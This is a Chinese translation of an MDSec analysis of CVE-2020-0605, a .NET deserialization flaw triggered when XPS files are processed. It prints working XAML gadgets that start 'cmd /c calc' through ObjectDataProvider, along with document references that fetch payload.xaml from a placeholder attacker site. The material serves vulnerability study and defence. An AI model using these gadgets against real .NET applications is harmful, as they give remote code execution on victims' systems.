CVE-2020-0605:.NET处理XPS文件时的命令执行
1. 译文声明
本文是翻译文章,原作者 Soroush Dalili
原文地址:https://www.mdsec.co.uk/2020/05/analysis-of-cve-2020-0605-code-execution-using-xps-files-in-net/
译文仅作参考,具体内容表达请见原文
2. 前言
微软近期修复了许多与XPS文件有关的反序列化漏洞,其中就包括CVE-2020-0605
,XPS
文件用于作为PDF
文件的替代品,但其并未像后者那样普及,微软已在Win10 1083 +
中将XPS Viewer
默认安装,不过XPS Viewer
不调用.NET
来读取XPS文件,因此不受该漏洞影响。该漏洞的补丁在今年一月就发布了,但是补丁不够完善,然后在今年五月对补丁进行了完善。该漏洞可用于攻击所有使用.NET处理XPS文件的业务场景,其已被确认的漏洞思路也可用于开发其它XAML反序列化漏洞的利用链。
3. 技术分析
一个XPS文件就像一个压缩包,其内包含多类文件,例如图像、字体以及XML文档。.NET
中基于XAML
来序列化处理XPS文件中的XML文件。
一个简单的XPS文件结构如下:
File.xps\DiscardControl.xml
File.xps\FixedDocumentSequence.fdseq
File.xps\[Content_Types].xml
File.xps\Documents\1\FixedDocument.fdoc
File.xps\Documents\1\Pages\1.fpage
File.xps\Documents\1\Pages\_rels\1.fpage.rels
File.xps\Documents\1\_rels\FixedDocument.fdoc.rels
File.xps\Metadata\Job_PT-inqy3ql9shqm2dc_mcqr93k5g.xml
File.xps\Metadata\SharedEmpty_PT-cn4rss5oojtjhxzju9tpamz4f.xml
File.xps\Resources\Fonts\0D7703BF-30CA-4254-ABA0-1A8892E2A101.odttf
File.xps\Resources\Images\00F8CA61-B050-4B6A-AFEF-139AA015AC08.png
File.xps\_rels\.rels
File.xps\_rels\FixedDocumentSequence.fdseq.rels
其中带有.fdseql
、.fdoc
、.fpage
的文件使用了XAML
序列化进程。不过如果在[Content_Types].xml
文件中定义了合适的类型,也可以使用其他自定义的后缀名。
ysoserial
项目中提供了以下通用exp以在读取XPS文件时来命令执行:
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalc"
ObjectType="{x:Type Diag:Process}"
MethodName="Start">
<ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>/c calc</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
一月份给出的补丁仅增加了对.fdseq
格式文件的安全校验,不过仍可使用其它文件来触发漏洞。
举两个怎样在.NET场景中读取XPS文件的例子,如下:
-
XpsDocument
XpsDocument myDoc = new XpsDocument(@"http://[attackersite]/test.xps", FileAccess.Read); var a = myDoc.GetFixedDocumentSequence();
-
LocalPrintServer
+defaultPrintQueue
PrintQueue defaultPrintQueue = LocalPrintServer.GetDefaultPrintQueue(); PrintSystemJobInfo xpsPrintJob = defaultPrintQueue.AddJob("test", @"http://[attackersite]/test.xps", false);
不过我们测试过程中发现XPS文件中的BAML(XAML的编译版本)文件无法触发漏洞,它们会导致内部错误。
### 3.1. 受影响的.NET 内部类
注:internal class
被译为了内部类,该internal
修饰符表示被修饰的类或方法其访问权限仅限于当前程序集,关于C#中internal
关键字的相关资料可见此
.NET其System.Windows.Documents
命名空间下存在XpsValidatingLoader
类,其中的Load()
和Validate()
方法在处理恶意XAML指令时可能会导致代码执行,因为它们都最终调用了XamlReader.Load()
方法。
关系图如下: -
System.Windows.Documents.XpsValidatingLoader
为内部类- 其内部方法
Load
在以下类中被调用: - 其内部方法
Validate
在以下类中被调用:
- 其内部方法
然后,上述所受影响的类最终可被其它公共类中所调用。
3.2. 一些基于XAML的Gadgets
3.2.1. FixedDocument/FixedDocumentSequence + xaml引用
<FixedDocument xmlns="http://schemas.microsoft.com/xps/2005/06">
<PageContent Source="http://[attackersite]/payload.xaml" Height="1056" Width="816" />
</FixedDocument>
或者
<FixedDocumentSequence xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation">
<DocumentReference Source="http://[attackersite]/payload.xaml" />
</FixedDocumentSequence>
3.2.2. FixedDocument/FixedDocumentSequence类中的Resources属性
<FixedDocument xmlns="http://schemas.microsoft.com/xps/2005/06" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<FixedDocument.Resources>
<ObjectDataProvider MethodName="Start" x:Key="">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="/c calc" FileName="cmd" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
</FixedDocument.Resources>
</FixedDocument>
或者
<FixedDocumentSequence xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<FixedDocumentSequence.Resources>
<ObjectDataProvider MethodName="Start" x:Key="">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="/c calc" FileName="cmd" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
</FixedDocumentSequence.Resources>
</FixedDocumentSequence>